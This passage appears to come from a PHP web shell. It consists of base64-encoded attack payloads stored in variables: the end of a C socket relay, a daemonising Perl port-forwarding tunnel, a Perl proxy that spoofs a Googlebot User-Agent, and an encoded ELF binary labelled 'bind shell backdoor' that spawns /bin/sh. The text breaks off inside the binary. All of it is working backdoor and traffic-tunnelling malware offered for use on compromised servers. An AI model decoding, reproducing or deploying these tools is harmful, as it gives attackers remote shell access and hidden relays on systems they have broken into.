JmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ29
0byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0Mj
oNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssM
ik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2Nh
bHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB
1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZC
k7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zd
CcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0
ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0
+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZm
luZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsI
CRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86
OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR
0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+ey
dkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY
2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0
aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTs
NCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW
91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1Z
mZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9
PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHR
oKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludC
BTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHBya
W50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1
ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiA
iJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJG
xlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7f
Q0KfX19DQo=";
$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7C
m15ICRwcm90b2NvbCA9IGdldHByb3RvYn
luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsK
c29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0s
sIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZS
AiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc
2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpt
eSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24
gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZm
lyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7Cndoa
WxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0
IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCB
TRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQ
p9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkd
XJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0
cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi8
6XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubG
VzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc
3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIs
ICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHV
ubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcn
QsICRob3N0KTsKc29ja2V0ICgkX1swXSw
gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ub
mVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0
dXJuIDE7Cn0=";
$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgA
IgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABA
AAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEA
AAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAAC
AAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4y
AAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAA
AAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAA
EgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQ
AAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAA
ALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAE
iJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABf
SnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMg
Bzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRv
aQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAA
IAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAA
iJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBw
cAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoE
CAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////
8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/
////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAO
lg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAA
AADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUV
ZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA9
4JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwH
QJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQI
AAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1A
IAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAA
AMdEJAQBAAAAi0XwiQQk6BL+//
+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAA
AItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBI
tF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8
i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8
dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0QkCAAAAADHRCQEn4kECMcEJJ+JBAjo
e/z//4tF8IkEJOiA/P//xwQkAAAAAOgE/f//i0X0iQQk6Gn8///pDv///1WJ5VdWMfZT6H/9//+BwyMSAA
CD7AzoEfz//42DIP///42TIP///4lF8CnQwfgCOcZzFonX/xSyi0Xwg8YBKfiJ+sH4AjnGcuyDxAxbXl9d
w1WJ5YPsGIld9Ogt/f//gcPREQAAiXX4iX38jbMg////jbsg////Kf7B/gLrA/8Ut4PuAYP+/3X16DoAAA
CLXfSLdfiLffyJ7F3DkFWJ5VOD7AShrJkECIP4/3QSu6yZBAj/0ItD/IPrBIP4/3Xzg8QEW13DkJCQVYnl
U+i7/P//gcNfEQAAg+wE6LH8//+DxARbXcMAAAADAAAAAQACADo6IHc0Y2sxbmctc2hlbGwgKFByaXZhdG
UgQnVpbGQgdjAuMykgYmluZCBzaGVsbCBiYWNrZG9vciA6OiAKCgBzb2NrZXQAYmluZABsaXN0ZW4AL2Jp
bi9zaAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAACQAAAAMAAAAiIQECA0AAAAkiQQIBAAAAEiBBA
gFAAAAEIMECAYAAADggQQICgAAALAAAAALAAAAEAAAABUAAAAAAAAAAwAAAIyaBAgCAAAAeAAAABQAAAAR
AAAAFwAAABCEBAgRAAAACIQECBIAAAAIAAAAEwAAAAgAAAD+//9v6IMECP///28BAAAA8P//b8CDBAgAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJkECAAAAAAAAAAA
toQECMaEBAjWhAQI5oQECPaEBAgGhQQIFoUECCaFBAg2hQQIRoUECFaFBAhmhQQIdoUECIaFBAiWhQQIAA
AAAAAAAAC4mQQIAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdO
VSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dSA0Lj
AuMy0xdWJ1bnR1NSkAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dSA0LjAuMy0xdWJ1bnR1NSkAAEdDQzog
KEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dS
A0LjAuMy0xdWJ1bnR1NSkAAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAAAc
AAAAAgAAAAAABAAAAAAAoIUECCIAAAAAAAAAAAAAADQAAAACAAsBAAAEAAAAAADohQQIBAAAACSJBAgSAA
AAiIQECAsAAADEhQQIJAAAAAAAAAAAAAAALAAAAAIAmwEAAAQAAAAAAOiFBAgEAAAAO4kECAYAAACdhAQI
AgAAAAAAAAAAAAAAIQAAAAIAegAAAJEAAAB5AAAAX0lPX3N0ZGluX3VzZWQAAAAAAHYAAAACAAAAAAAEAQ
AAAACghQQIwoUECC4uL3N5c2RlcHMvaTM4Ni9lbGYvc3RhcnQuUwAvYnVpbGQvYnVpbGRkL2dsaWJjLTIu
My42L2J1aWxkLXRyZWUvZ2xpYmMtMi4zLjYvY3N1AEdOVSBBUyAyLjE2LjkxAAGAjQAAAAIAFAAAAAQBWw
AAAMSFBAjEhQQIYgAAAAEAAAAAEQAAAAKQAAAABAcCVAAAAAEIAp0AAAACBwKLAAAABAcCVgAAAAEGAgcA
AAACBQNpbnQABAUCRgAAAAgFAoYAAAAIBwJLAAAABAUCkAAAAAQHAl0AAAABBgSwAAAAARmLAAAAAQUDSI
kECAVPAAAAAIwAAAACAFYAAAAEAYIAAAAvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUv
aTM4Ni1saWJjL2NzdS9jcnRpLlMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaW
JjLTIuMy42L2NzdQBHTlUgQVMgMi4xNi45MQABgIwAAAACAGYAAAAEAS8BAAAvYnVpbGQvYnVpbGRkL2ds
aWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdS9jcnRuLlMAL2J1aWxkL2J1aWxkZC9nbGliYy
0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42L2NzdQBHTlUgQVMgMi4xNi45MQABgAERABAGEQESAQMI
GwglCBMFAAAAAREBEAYSAREBJQ4TCwMOGw4AAAIkAAMOCws+CwAAAyQAAwgLCz4LAAAENAADDjoLOwtJEz
8MAgoAAAUmAEkTAAAAAREAEAYDCBsIJQgTBQAAAAERABAGAwgbCCUIEwUAAABXAAAAAgAyAAAAAQH7Dg0A
AQEBAQAAAAEAAAEuLi9zeXNkZXBzL2kzODYvZWxmAABzdGFydC5TAAEAAAAABQKghQQIA8AAATMhND0lIg
MYIFlaISJcWwIBAAEBIwAAAAIAHQAAAAEB+w4NAAEBAQEAAAABAAABAGluaXQuYwAAAAAAqQAAAAIAUAAA
AAEB+w4NAAEBAQEAAAABAAABL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbG
liYy9jc3UAAGNydGkuUwABAAAAAAUC6IUECAPAAAE9AgEAAQEABQIkiQQIAy4BIS8hWWcCAwABAQAFAoiE
BAgDHwEhLz0CBQABAQAFAsSFBAgDCgEhLyFZZz1nLy8wPSEhAgEAAQGIAAAAAgBQAAAAAQH7Dg0AAQEBAQ
AAAAEAAAEvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdQAAY3J0
bi5TAAEAAAAABQLohQQIAyEBPQIBAAEBAAUCO4kECAMSAT0hIQIBAAEBAAUCnYQECAMJASECAQABAWluaX
QuYwBzaG9ydCBpbnQAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42
L2NzdQBsb25nIGxvbmcgaW50AHVuc2lnbmVkIGNoYXIAR05VIEMgMy40LjYgKFVidW50dSAzLjQuNi0xdW
J1bnR1MikAbG9uZyBsb25nIHVuc2lnbmVkIGludABzaG9ydCB1bnNpZ25lZCBpbnQAX0lPX3N0ZGluX3Vz
ZWQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5oYXNoAC5keW
5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmlu
aXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALmN0b3JzAC5kdG9ycwAuamNyAC5keW5hbWljAC
5nb3QALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAuZGVidWdfYXJhbmdlcwAuZGVidWdfcHVibmFt
ZXMALmRlYnVnX2luZm8ALmRlYnVnX2FiYnJldgAuZGVidWdfbGluZQAuZGVidWdfc3RyAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAFIEECBQBAAATAAAAAAAAAAAA
AAABAAAAAAAAACMAAAAHAAAAAgAAACiBBAgoAQAAIAAAAAAAAAAAAAAABAAAAAAAAAAxAAAABQAAAAIAAA
BIgQQISAEAAJgAAAAEAAAAAAAAAAQAAAAEAAAANwAAAAsAAAACAAAA4IEECOABAAAwAQAABQAAAAEAAAAE
AAAAEAAAAD8AAAADAAAAAgAAABCDBAgQAwAAsAAAAAAAAAAAAAAAAQAAAAAAAABHAAAA////bwIAAADAgw
QIwAMAACYAAAAEAAAAAAAAAAIAAAACAAAAVAAAAP7//28CAAAA6IMECOgDAAAgAAAABQAAAAEAAAAEAAAA
AAAAAGMAAAAJAAAAAgAAAAiEBAgIBAAACAAAAAQAAAAAAAAABAAAAAgAAABsAAAACQAAAAIAAAAQhAQIEA
QAAHgAAAAEAAAACwAAAAQAAAAIAAAAdQAAAAEAAAAGAAAAiIQECIgEAAAXAAAAAAAAAAAAAAABAAAAAAAA
AHAAAAABAAAABgAAAKCEBAigBAAAAAEAAAAAAAAAAAAABAAAAAQAAAB7AAAAAQAAAAYAAACghQQIoAUAAI
QDAAAAAAAAAAAAAAQAAAAAAAAAgQAAAAEAAAAGAAAAJIkECCQJAAAdAAAAAAAAAAAAAAABAAAAAAAAAIcA
AAABAAAAAgAAAESJBAhECQAAYwAAAAAAAAAAAAAABAAAAAAAAACPAAAAAQAAAAIAAACoiQQIqAkAAAQAAA
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
